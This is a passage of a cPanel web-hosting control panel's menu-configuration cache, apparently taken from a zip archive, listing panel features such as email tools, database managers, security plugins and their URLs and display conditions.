Management","target":"","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","base64_png_image":"","searchtext":"calendar contact management address book addressbook Calendars and Contacts Management","description":"Calendars and Contacts Management","key":"calendar_contact_management","height":48,"feature":"caldavcarddav","onclick":"","group":"email","url":"calendar-contact-management/index.html"},"mailing_lists":{"file":"mailing_lists","subtype":"img","acontent":"","itemorder":"7","itemdesc":"Posta Listeleri","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'} && !$CONFIF{'skipmailman'}","plainitemdesc":"Mailing Lists","target":"","key":"mailing_lists","searchtext":"Posta Listeleri mailman","description":"Set up a single email address to send mail to multiple email addresses.","base64_png_image":"","onclick":"","feature":"lists","height":"48","implements":"Email_MailingLists","url":"mail/lists.html","group":"email"}},"cachetime":1778493969,"version":"5.0","dyalist":[{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-sitejet-plugin.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cart2cart.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_group_se_group.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_monarx.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_seranking.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-koality-plugin.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-socialbee-plugin.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_imunify360.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_wp-toolkit.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_inodes.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_backuply.conf","allow_legacy":1},{"file":"/var/cpanel/userhomes/cpanel/cpanelbranding/jupiter/dynamicui.conf","allow_legacy":1}]}PK �,�\�Ɇ�p� p� dynamicui/jupiter_en_.cachenu ��٘� {"conf":{"group_advanced":{"onclick":"","height":"48","key":"group_advanced","description":"Advanced","searchtext":"group_advanced","base64_png_image":"","group":"advanced","groupdesc":"Advanced","subtype":"img","acontent":"","width":"48","itemdesc":"group_advanced","file":"group_advanced","type":"image","target":"","grouporder":"7","imgtype":"icon"},"disk_usage":{"url":"diskusage/index.html","group":"files","feature":"diskusageviewer","onclick":"","height":"48","description":"View information about your files, your directories, and how you use your disk space.","searchtext":"Disk Usage disk space usage disk-usage","key":"disk_usage","base64_png_image":"","if":"$HASROLE{'FileStorage'}","type":"image","plainitemdesc":"Disk Usage","target":"","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Disk Usage","itemorder":"4","file":"disk_usage"},"php_pg_admin":{"file":"php_pg_admin","itemorder":"7","itemdesc":"phpPgAdmin","width":"48","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","target":"_blank","plainitemdesc":"[asis,phpPgAdmin]","type":"image","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","base64_png_image":"","key":"php_pg_admin","searchtext":"phpPgAdmin database psql db","description":"Manage PostgreSQL® databases.","height":"48","onclick":"","feature":"phppgadmin","group":"databases","url":"/3rdparty/phpPgAdmin/index.php"},"api_shell":{"onclick":"","feature":"api_shell","height":"48","key":"api_shell","description":"Run cPanel & WHM API functions.","searchtext":"API Shell","base64_png_image":"","url":"api_shell/index.html","group":"advanced","acontent":"","subtype":"img","itemorder":"9","itemdesc":"API Shell","width":"48","file":"api_shell","if":"$isreseller && $CONFIF{'api_shell'}","type":"image","target":"","plainitemdesc":"API Shell","imgtype":"icon"},"archive":{"itemorder":"14","itemdesc":"Archive","width":"48","subtype":"img","acontent":"","file":"archive","target":"","plainitemdesc":"Archive","type":"image","if":"$HASROLE{'MailReceive'} && $CONFIF{'emailarchive'}","imgtype":"icon","height":"48","onclick":"","feature":"emailarchive","base64_png_image":"","key":"archive","description":"Save incoming, outgoing, and mailing list messages for a specified amount of time.","searchtext":"email archive Email Archiving Archive","group":"email","url":"mail/archive.html","implements":"Email_Archive"},"autoresponders":{"target":"","plainitemdesc":"Autoresponders","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","imgtype":"icon","width":"48","itemdesc":"Autoresponders","itemorder":"5","acontent":"","subtype":"img","file":"autoresponders","group":"email","url":"mail/autores.html","implements":"Email_AutoResponders","height":"48","feature":"autoresponders","onclick":"","base64_png_image":"","description":"Configure automatic email response messages.","searchtext":"Autoresponders autoresponder auto responders","key":"autoresponders"},"forwarders":{"key":"forwarders","searchtext":"Forwarders forward","description":"Configure an email address to forward copies of incoming emails to another address.","base64_png_image":"","onclick":"","feature":"forwarders || emaildomainfwd","height":"48","implements":"Email_Forwarders","url":"mail/fwds.html","group":"email","file":"forwarders","acontent":"","subtype":"img","itemorder":"3","width":"48","itemdesc":"Forwarders","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","target":"","plainitemdesc":"Forwarders"},"multiphp_manager":{"height":"48","feature":"multiphp","onclick":"","base64_png_image":"","searchtext":"MultiPHP Manager","description":"Manage your PHP configuration.","key":"multiphp_manager","group":"software","url":"multiphp_manager/index.html","width":"48","itemdesc":"MultiPHP Manager","itemorder":"8","subtype":"img","acontent":"","file":"multiphp_manager","plainitemdesc":"MultiPHP Manager","target":"","if":"$is_ea4","type":"image","imgtype":"icon"},"mod_security":{"target":"","plainitemdesc":"ModSecurity","type":"image","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","imgtype":"icon","itemorder":"7","width":"48","itemdesc":"ModSecurity","acontent":"","subtype":"img","file":"mod_security","group":"security","url":"security/mod_security/index.html","height":"48","onclick":"","feature":"modsecurity","base64_png_image":"","key":"mod_security","description":"Enable or disable ModSecurity® for your domains.","searchtext":"ModSecurity mod security mod_security"},"group_email":{"key":"group_email","description":"Email","searchtext":"group_email","base64_png_image":"","onclick":"","height":"48","groupdesc":"Email","group":"email","file":"group_email","subtype":"img","acontent":"","itemdesc":"group_email","width":"48","grouporder":"1","imgtype":"icon","if":"$HASROLE{'MailSend'} || $HASROLE{'MailReceive'} || $HASROLE{'DNS'} || $HASROLE{'CalendarContact'}","type":"image","target":""},"backup_wizard":{"type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","plainitemdesc":"Backup Wizard","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"9","width":"48","itemdesc":"Backup Wizard","file":"backup_wizard","url":"backup/wizard.html","group":"files","onclick":"","feature":"backup","height":"48","key":"backup_wizard","description":"Back up all or part of your website, or restore it from the most recent backup file.","searchtext":"Backup Wizard restore","base64_png_image":""},"mysql_database_wizard":{"imgtype":"icon","plainitemdesc":"Database Wizard","target":"","if":"$SERVICEPROVIDED{'mysql'}","type":"image","file":"mysql_database_wizard","itemorder":"3","itemdesc":"Database Wizard","width":"48","acontent":"","subtype":"img","group":"databases","url":"sql/wizard1.html","base64_png_image":"","key":"mysql_database_wizard","searchtext":"MySQL Database Wizard mysql database db","description":"Guided setup of a database, database users, and user privileges.","height":"48","onclick":"","feature":"mysql"},"global_email_filters":{"itemdesc":"Global Email Filters","width":"48","itemorder":"9","subtype":"img","acontent":"","file":"global_email_filters","plainitemdesc":"Global Email Filters","target":"","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon","height":"48","feature":"blockers","onclick":"","base64_png_image":"","searchtext":"Global Email Filters filter account level filtering","description":"Configure how your server filters all of the email that your domains’ email accounts receive.","key":"global_email_filters","group":"email","url":"mail/filters/userfilters.html","implements":"Email_AccountLevelFiltering"},"calendar_and_contacts":{"implements":"Calendar_Configure","url":"mail/calendars_and_contacts/index.html","group":"email","searchtext":"email calendar contact address book CalDAV CardDAV Calendars and Contacts Configuration","description":"Manage your CalDAV (calendar) and CardDAV (contacts) accounts.","key":"calendar_and_contacts","base64_png_image":"","feature":"caldavcarddav","onclick":"","height":"48","imgtype":"icon","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","target":"","plainitemdesc":"Calendars and Contacts Configuration","file":"calendar_and_contacts","acontent":"","subtype":"img","itemdesc":"Calendars and Contacts Configuration","width":"48","itemorder":"18"},"postgresql_database_wizard":{"url":"psql/wizard1.html","group":"databases","searchtext":"PostgreSQL Database Wizard postgres postgresql database db","description":"Guided setup of a PostgreSQL® database, database users, and user privileges.","key":"postgresql_database_wizard","base64_png_image":"","feature":"postgres","onclick":"","height":"48","imgtype":"icon","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","target":"","plainitemdesc":"PostgreSQL Database Wizard","file":"postgresql_database_wizard","acontent":"","subtype":"img","width":"48","itemdesc":"PostgreSQL Database Wizard","itemorder":"6"},"group_files":{"file":"group_files","width":"48","itemdesc":"group_files","acontent":"","subtype":"img","imgtype":"icon","grouporder":"2","target":"","type":"image","base64_png_image":"","key":"group_files","description":"Files","searchtext":"group_files","height":"48","onclick":"","groupdesc":"Files","group":"files"},"terminal":{"key":"terminal","searchtext":"terminal bash tcsh command line shell ssh Terminal","description":"Access an in-browser terminal application for direct command-line access within a cPanel session.","base64_png_image":"","onclick":"","feature":"ssh","height":"48","url":"terminal/index.html","group":"advanced","file":"terminal","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"Terminal","imgtype":"icon","type":"image","if":"$hasvalidshell && $HASROLE{'FileStorage'}","plainitemdesc":"Terminal","target":""},"mysql_databases":{"file":"mysql_databases","width":"48","itemdesc":"Manage My Databases","itemorder":"2","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Manage My Databases","target":"","if":"$SERVICEPROVIDED{'mysql'}","type":"image","base64_png_image":"","searchtext":"MySQL Databases db Manage My Databases","description":"Create, manage, and delete databases and database users.","key":"mysql_databases","height":"48","feature":"mysql","onclick":"","implements":"Database_MySQL","group":"databases","url":"sql/index.html"},"cart2cart":{"acontent":"","subtype":"img","itemdesc":"Ghost Publishing Platform","width":"48","itemorder":"1","file":"cart2cart","type":"image","plainitemdesc":"Ghost Publishing Platform","target":"","imgtype":"icon","feature":"Ghost_Publishing_Platform","onclick":"","height":"48","description":"Ghost Publishing Platform","searchtext":"Ghost Publishing Platform","base64_png_image":"","url":"ghost/ghost.live.php","group":"software"},"wp-toolkit":{"type":"image","plainitemdesc":"WordPress Management","target":"_self","imgtype":"icon","acontent":"target=\"_self\"","subtype":"img","itemdesc":"WordPress Management","width":"48","itemorder":"-1","file":"wp-toolkit","url":"wp-toolkit/index.live.php","group":"domains","feature":"wp-toolkit","onclick":"","height":"48","description":"WordPress Management","searchtext":"WordPress Management","base64_png_image":""},"group_metrics":{"target":"","type":"image","grouporder":"5","imgtype":"icon","width":"48","itemdesc":"group_metrics","subtype":"img","acontent":"","file":"group_metrics","group":"metrics","groupdesc":"Metrics","height":"48","onclick":"","base64_png_image":"","searchtext":"group_metrics","description":"Metrics","key":"group_metrics"},"webalizer_ftp":{"touch":"ftp","acontent":"","subtype":"img","width":"48","itemdesc":"Webalizer FTP","itemorder":"8","file":"webalizer_ftp","if":"!$CONFIF{'skipwebalizer'}","type":"image","target":"","plainitemdesc":"Webalizer FTP","imgtype":"icon","feature":"webalizer","onclick":"","height":"48","searchtext":"Webalizer FTP stats ftp","description":"View FTP traffic statistics from the Webalizer statistics program.","key":"webalizer_ftp","base64_png_image":"","url":"stats/webalizerftp_landing.html","group":"metrics"},"file_and_directory_restoration":{"itemdesc":"File and Directory Restoration","width":"48","itemorder":"11","acontent":"","subtype":"img","file":"file_and_directory_restoration","target":"","plainitemdesc":"File and Directory Restoration","if":"$file_restoration_enabled && $HASROLE{'FileStorage'}","type":"image","imgtype":"icon","height":"48","feature":"filerestoration","onclick":"","base64_png_image":"","searchtext":"File directory restoration File and Directory Restoration","description":"Restore files from local backup sources.","key":"file_and_directory_restoration","group":"files","url":"file_and_directory_restoration/index.html"},"analog_stats":{"group":"metrics","url":"stats/analog_landing.html","base64_png_image":"","searchtext":"Analog Stats","description":"View data from the Analog traffic statistics software.","key":"analog_stats","height":"48","feature":"analog","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Analog Stats","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipanalog'}","file":"analog_stats","width":"48","itemdesc":"Analog Stats","itemorder":"6","subtype":"img","acontent":""},"redirects":{"if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Redirects","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"6","itemdesc":"Redirects","width":"48","file":"redirects","url":"mime/redirect.html","group":"domains","onclick":"","feature":"redirects","height":"48","key":"redirects","description":"Send the visitors of a domain or particular page to a different URL.","searchtext":"Redirects rewrite modrewrite","base64_png_image":""},"ssh_access":{"imgtype":"icon","type":"image","target":"","plainitemdesc":"SSH Access","file":"ssh_access","acontent":"","subtype":"img","itemorder":"1","itemdesc":"SSH Access","width":"48","url":"telnet/index.html","group":"security","key":"ssh_access","searchtext":"SSH access ssh/shell Access ssh secure shell sftp SSH Access","description":"Manage your public and private SSH keys.","base64_png_image":"","onclick":"","feature":"ssh","height":"48"},"group_software":{"onclick":"","height":"48","key":"group_software","searchtext":"group_software","description":"Software","base64_png_image":"","group":"software","groupdesc":"Software","subtype":"img","acontent":"","itemdesc":"group_software","width":"48","file":"group_software","type":"image","if":"$HASROLE{'WebServer'}","target":"","grouporder":"6","imgtype":"icon"},"team_manager":{"height":48,"onclick":"","feature":"team_manager","base64_png_image":"","key":"team_manager","searchtext":"manage team manager sub user subaccount subuser Manage Team","description":"Manage Team","group":"preferences","url":"team-manager/index.html","itemorder":5,"width":48,"itemdesc":"Manage Team","acontent":"","subtype":"img","file":"team_manager","plainitemdesc":"Manage Team","target":"","type":"image","if":"$has_team_license","imgtype":"icon"},"inodes":{"imgtype":"icon","type":"image","plainitemdesc":"Inodes","target":"","file":"inodes","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"Inodes","url":"inodes/inodes.live.php","group":"files","searchtext":"Inodes","description":"Inodes","base64_png_image":"","onclick":"","feature":"inodes","height":"48"},"error_pages":{"file":"error_pages","acontent":"","subtype":"img","itemorder":"5","width":"48","itemdesc":"Error Pages","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Error Pages","target":"","key":"error_pages","searchtext":"Error Pages errorlog error_log error log","description":"Inform visitors about problems when they attempt to access your website.","base64_png_image":"","onclick":"","feature":"errpgs","height":"48","url":"err/index.html","group":"advanced"},"apache_handlers":{"group":"advanced","url":"mime/handle.html","height":"48","feature":"handlers","onclick":"","base64_png_image":"","description":"Control how your website’s Apache® web server software manages certain file types and file extensions.","searchtext":"Apache Handlers apache handlers extension configure","key":"apache_handlers","plainitemdesc":"Apache Handlers","target":"","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","width":"48","itemdesc":"Apache Handlers","itemorder":"6","subtype":"img","acontent":"","file":"apache_handlers"},"backup":{"imgtype":"icon","target":"","plainitemdesc":"Backup","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","type":"image","file":"backup","itemorder":"9","width":"48","itemdesc":"Backup","acontent":"","subtype":"img","implements":"Backups_Home","group":"files","url":"backup/index.html","base64_png_image":"","key":"backup","description":"Download and store your website in a backup file.","searchtext":"Backup restore","height":"48","onclick":"","feature":"backup"},"directory_privacy":{"file":"directory_privacy","subtype":"img","acontent":"","itemdesc":"Directory Privacy","width":"48","itemorder":"3","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Directory Privacy","target":"","description":"Protect specific directories in your files on your cPanel account.","searchtext":"Directory Privacy passwordprotect password protect","key":"directory_privacy","base64_png_image":"","feature":"webprotect","onclick":"","height":"48","url":"htaccess/index.html","group":"files"},"anonymous_ftp":{"type":"image","if":"$SERVICEPROVIDED{'ftp'} && $hasanonftp","target":"","plainitemdesc":"Anonymous FTP","imgtype":"icon","touch":"ftp","subtype":"img","acontent":"","width":"48","itemdesc":"Anonymous FTP","itemorder":"8","file":"anonymous_ftp","url":"ftp/anonymous.html","group":"files","feature":"ftpaccts","onclick":"","height":"48","description":"Define how anonymous users interact with your FTP server.","searchtext":"Anonymous FTP anonymousftp","key":"anonymous_ftp","base64_png_image":""},"default_address":{"imgtype":"icon","target":"","plainitemdesc":"Default Address","type":"image","if":"$HASROLE{'MailReceive'}","file":"default_address","width":"48","itemdesc":"Default Address","itemorder":"6","acontent":"","subtype":"img","implements":"Email_DefaultAddress","group":"email","url":"mail/def.html","base64_png_image":"","searchtext":"Default Address","description":"Set up a default email address.","key":"default_address","height":"48","feature":"defaultaddress","onclick":""},"encryption":{"itemorder":"15","width":"48","itemdesc":"Encryption","subtype":"img","acontent":"","file":"encryption","target":"","plainitemdesc":"Encryption","if":"$HASROLE{'MailReceive'}","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"pgp","base64_png_image":"","key":"encryption","description":"Create, manage, and delete GnuPG keys.","searchtext":"Encryption gpg keys GnuPG Keys","group":"email","url":"gpg/index.html"},"leech_protection":{"url":"htaccess/leechprotect/leechprotect.html","group":"security","key":"leech_protection","description":"Detect unusual levels of activity in password-restricted directories.","searchtext":"Leech Protection protect","base64_png_image":"","onclick":"","feature":"cpanelpro_leechprotect && webprotect","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Leech Protection","target":"","file":"leech_protection","subtype":"img","acontent":"","itemorder":"5","width":"48","itemdesc":"Leech Protection"},"multiphp_ini_editor":{"file":"multiphp_ini_editor","subtype":"img","acontent":"","itemorder":"9","width":"48","itemdesc":"MultiPHP INI Editor","imgtype":"icon","type":"image","if":"$is_ea4","target":"","plainitemdesc":"MultiPHP INI Editor","key":"multiphp_ini_editor","searchtext":"MultiPHP INI Editor php config","description":"Configure your website’s PHP settings.","base64_png_image":"","onclick":"","feature":"multiphp_ini_editor","height":"48","url":"multiphp_ini_editor/index.html","group":"software"},"user_manager":{"url":"user_manager/index.html","group":"preferences","onclick":"","feature":"user_manager","height":"48","key":"user_manager","description":"Manage the users who can access various systems on your cPanel account.","searchtext":"password change ftp email webdisk webdav service User Manager","base64_png_image":"","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","type":"image","plainitemdesc":"User Manager","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"4","width":"48","itemdesc":"User Manager","file":"user_manager"},"zone_editor":{"feature":"simplezoneedit || changemx || zoneedit","onclick":"","height":"48","description":"Create, manage, and delete DNS zone records.","searchtext":"zone editor advanced simple caa cname a aaaa txt dkim dmarc spf mx srv record dns dnssec Zone Editor","key":"zone_editor","base64_png_image":"","url":"zone_editor/index.html","group":"domains","implements":"Zone_Editor","acontent":"","subtype":"img","width":"48","itemdesc":"Zone Editor","itemorder":"6","file":"zone_editor","if":"$HASROLE{'DNS'}","type":"image","plainitemdesc":"Zone Editor","target":"","imgtype":"icon"},"group_domains":{"width":"4","itemdesc":"group_domains","acontent":"","subtype":"img","file":"group_domains","target":"","type":"image","if":"$HASROLE{'WebServer'} || $HASROLE{'DNS'}","grouporder":"4","imgtype":"icon","height":"48","onclick":"","base64_png_image":"","key":"group_domains","searchtext":"group_domains","description":"Domains","group":"domains","groupdesc":"Domains"},"change_language":{"acontent":"","subtype":"img","width":"48","itemdesc":"Change Language","itemorder":"2","file":"change_language","type":"image","plainitemdesc":"Change Language","target":"","imgtype":"icon","feature":"setlang","onclick":"","height":"48","searchtext":"language setlang Change Language","description":"Change your default language.","key":"change_language","base64_png_image":"","url":"setlang/index.html","group":"preferences","implements":"Locale_Change"},"web_host_manager":{"imgtype":"icon","if":"$isreseller && !$team_user","type":"image","target":"","file":"web_host_manager","subtype":"img","acontent":"","itemdesc":"WebHost Manager®","width":"48","itemorder":"1","url":"/xferwhm/","group":"advanced","searchtext":"WebHost Manager webhostmanager whm WebHost Manager®","description":"WebHost Manager®","key":"web_host_manager","base64_png_image":"","onclick":"","height":"48"},"optimize_website":{"height":"32","onclick":"","feature":"optimizews","base64_png_image":"","key":"optimize_website","searchtext":"Optimize Website","description":"Configure your server to automatically compress specified types of content when visitors access that content.","group":"software","url":"optimize/index.html","itemorder":"7","itemdesc":"Optimize Website","width":"32","subtype":"img","acontent":"","file":"optimize_website","plainitemdesc":"Optimize Website","target":"","if":"$hasmoddeflate","type":"image","imgtype":"icon"},"boxtrapper":{"key":"boxtrapper","searchtext":"BoxTrapper filter","description":"Filter spam from your inbox through challenge-response verification.","base64_png_image":"","onclick":"","feature":"boxtrapper","height":"48","implements":"Email_BoxTrapper","url":"mail/boxtrapper.html","group":"email","file":"boxtrapper","acontent":"","subtype":"img","itemorder":"16","width":"48","itemdesc":"BoxTrapper","imgtype":"icon","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","target":""},"mcp_configuration":{"height":"48","feature":"mcp","onclick":"","base64_png_image":"","description":"Generate configuration files for AI assistants to connect to your cPanel account via Model Context Protocol.","searchtext":"MCP Model Context Protocol AI assistant configuration vscode claude MCP Configuration","key":"mcp_configuration","group":"security","url":"mcp/index.html","width":"48","itemdesc":"MCP Configuration","itemorder":"10","acontent":"","subtype":"img","file":"mcp_configuration","target":"","plainitemdesc":"MCP Configuration","if":"$LEIKA{'mcp.enabled'} && $LEIKA{'mcp.cpanel_enabled'}","type":"image","imgtype":"icon"},"clam_av":{"imgtype":"icon","type":"image","if":"$hasclamav && $HASROLE{'MailReceive'}","plainitemdesc":"Virus Scanner","target":"","file":"clam_av","subtype":"img","acontent":"","touch":"clamav","itemorder":"8","width":"48","itemdesc":"Virus Scanner","url":"clam-av/index.html","group":"advanced","key":"clam_av","description":"Scan your cPanel account for viruses.","searchtext":"Virus Scanner clam clamav antivirus","base64_png_image":"","onclick":"","feature":"clamavconnector_scan","height":"48"},"apache_spam_assassin":{"implements":"Email_SpamFilter","group":"email","url":"mail/spam/index.html","base64_png_image":"","key":"apache_spam_assassin","description":"Configure the spam filter settings for your email account.","searchtext":"Filtering Spam Assassin spamassassin Apache SpamAssassin Spam Filters","height":"48","onclick":"","feature":"spamassassin","imgtype":"icon","plainitemdesc":"Spam Filters","target":"","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","type":"image","file":"apache_spam_assassin","itemorder":"13","itemdesc":"Spam Filters","width":"48","subtype":"img","acontent":""},"errors":{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Errors","target":"","file":"errors","subtype":"img","acontent":"","itemorder":"2","itemdesc":"Errors","width":"48","url":"stats/errlog.html","group":"metrics","key":"errors","description":"View the most recent entries in the Apache® error logs.","searchtext":"Errors errorlog error log","base64_png_image":"","onclick":"","feature":"errlog","height":"48"},"cpanel-socialbee-plugin":{"url":"socialbee/index.html","group":"domains","onclick":"","feature":"socialbee","height":"48","searchtext":"media management plugin socialbee social bee Social Media Management","description":"Social Media Management","base64_png_image":"","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Social Media Management","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Social Media Management","width":"48","file":"cpanel-socialbee-plugin"},"change_password":{"file":"change_password","width":"48","itemdesc":"Password & Security","itemorder":"1","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Password [output,amp] Security","type":"image","base64_png_image":"","searchtext":"password & security change facebook external google secure cpanel Password & Security","description":"Update your cPanel account’s password.","key":"change_password","height":"48","feature":"password","onclick":"","implements":"Password_Change","group":"preferences","url":"passwd/index.html"},"perl_modules":{"url":"module_installers/index.html?lang=perl","group":"software","onclick":"","feature":"modules-perl","height":"48","key":"perl_modules","description":"Search for and install Perl modules from the CPAN repository.","searchtext":"Perl Modules","base64_png_image":"","type":"image","if":"$hasperl","target":"","plainitemdesc":"Perl Modules","imgtype":"icon","subtype":"img","acontent":"","itemorder":"3","width":"48","itemdesc":"Perl Modules","file":"perl_modules"},"application_manager":{"height":"48","onclick":"","feature":"passengerapps","base64_png_image":"","key":"application_manager","description":"Deploy applications with the Phusion Passenger® application server.","searchtext":"apps passenger ruby ror gems rails Application Manager","group":"software","url":"passenger/index.html","itemorder":"8","itemdesc":"Application Manager","width":"48","acontent":"","subtype":"img","file":"application_manager","plainitemdesc":"Application Manager","target":"","type":"image","imgtype":"icon"},"postgresql_databases":{"acontent":"","subtype":"img","width":"48","itemdesc":"PostgreSQL Databases","itemorder":"5","file":"postgresql_databases","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","plainitemdesc":"PostgreSQL Databases","target":"","imgtype":"icon","feature":"postgres","onclick":"","height":"48","description":"Create, manage, and delete PostgreSQL® databases and database users.","searchtext":"PostgreSQL Databases postgres database postgresql db","key":"postgresql_databases","base64_png_image":"","url":"psql/index.html","group":"databases"},"imunify360":{"height":"48","feature":"imunify360","onclick":"","base64_png_image":"","searchtext":"Imunify360","description":"Imunify360","group":"security","url":"imunify/imunify.live.pl","implements":"Imunify_Home","width":"48","itemdesc":"Imunify360","itemorder":"10000","acontent":"","subtype":"img","file":"imunify360","target":"","plainitemdesc":"Imunify360","type":"image","imgtype":"icon"},"php_my_admin":{"feature":"phpmyadmin","onclick":"","height":"48","searchtext":"phpMyAdmin database db","description":"Manage databases with phpMyAdmin.","key":"php_my_admin","base64_png_image":"","url":"sql/PhpMyAdmin.html","group":"databases","implements":"Database_phpMyAdmin","acontent":"target=\"_blank\"","subtype":"img","itemdesc":"phpMyAdmin","width":"48","itemorder":"1","file":"php_my_admin","type":"image","if":"$SERVICEPROVIDED{'mysql'}","target":"_blank","plainitemdesc":"phpMyAdmin","imgtype":"icon"},"tls_status":{"implements":"SSL_TLS_Status","group":"security","url":"security/tls_status/","base64_png_image":"","searchtext":"SSL/TLS Status","description":"View, upgrade, or renew your domains’ SSL certificates.","key":"tls_status","height":"48","feature":"sslinstall","onclick":"","imgtype":"icon","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":"","type":"image","if":"$HASROLE{'UserSSL'} && !$ssl_show_unified_ui","file":"tls_status","itemdesc":"SSL/TLS Status","width":"48","itemorder":"7","acontent":"","subtype":"img"},"metrics_editor":{"file":"metrics_editor","acontent":"","subtype":"img","itemorder":"10","itemdesc":"Metrics Editor","width":"32","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && $any_stats_enabled","plainitemdesc":"Metrics Editor","target":"","key":"metrics_editor","description":"Select metrics programs to process your log files and provide traffic analysis for your cPanel account’s domains.","searchtext":"Metrics Editor stats manager choose log programs","base64_png_image":"","onclick":"","feature":"statselect","height":"32","url":"statmanager/index.html","group":"metrics"},"track_dns":{"file":"track_dns","width":"48","itemdesc":"Track DNS","itemorder":"3","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Track DNS","type":"image","base64_png_image":"","description":"Perform traceroutes and domain lookups to diagnose network issues.","searchtext":"Track DNS traceroute tracert dnslookup dig network tools","key":"track_dns","height":"48","feature":"nettools","onclick":"","group":"advanced","url":"net/index.html"},"greylisting":{"implements":"Email_GreyListing","url":"mail/greylisting/index.html","group":"email","description":"Enable or disable protection against unwanted email or spam.","searchtext":"Greylisting grey list spam Configure Greylisting","key":"greylisting","base64_png_image":"","feature":"greylist","onclick":"","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $is_greylisting_enabled","plainitemdesc":"Configure Greylisting","target":"","file":"greylisting","acontent":"","subtype":"img","itemdesc":"Configure Greylisting","width":"48","itemorder":"17"},"mailing_lists":{"acontent":"","subtype":"img","width":"48","itemdesc":"Mailing Lists","itemorder":"7","file":"mailing_lists","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'} && !$CONFIF{'skipmailman'}","type":"image","plainitemdesc":"Mailing Lists","target":"","imgtype":"icon","feature":"lists","onclick":"","height":"48","description":"Set up a single email address to send mail to multiple email addresses.","searchtext":"Mailing Lists mailman","key":"mailing_lists","base64_png_image":"","url":"mail/lists.html","group":"email","implements":"Email_MailingLists"},"calendar_contact_management":{"imgtype":"icon","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","plainitemdesc":"Calendars and Contacts Management","target":"","file":"calendar_contact_management","subtype":"img","acontent":"","itemdesc":"Calendars and Contacts Management","width":48,"itemorder":19,"url":"calendar-contact-management/index.html","group":"email","searchtext":"calendar contact management address book addressbook Calendars and Contacts Management","description":"Calendars and Contacts Management","key":"calendar_contact_management","base64_png_image":"","feature":"caldavcarddav","onclick":"","height":48},"domains":{"group":"domains","url":"domains/index.html","implements":"Domains_domains","height":"48","imagetype":"icon","onclick":"","feature":"addondomains || subdomains || parkeddomains || sslinstall","base64_png_image":"","key":"domains","description":"Create, manage, and delete multiple domains.","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect 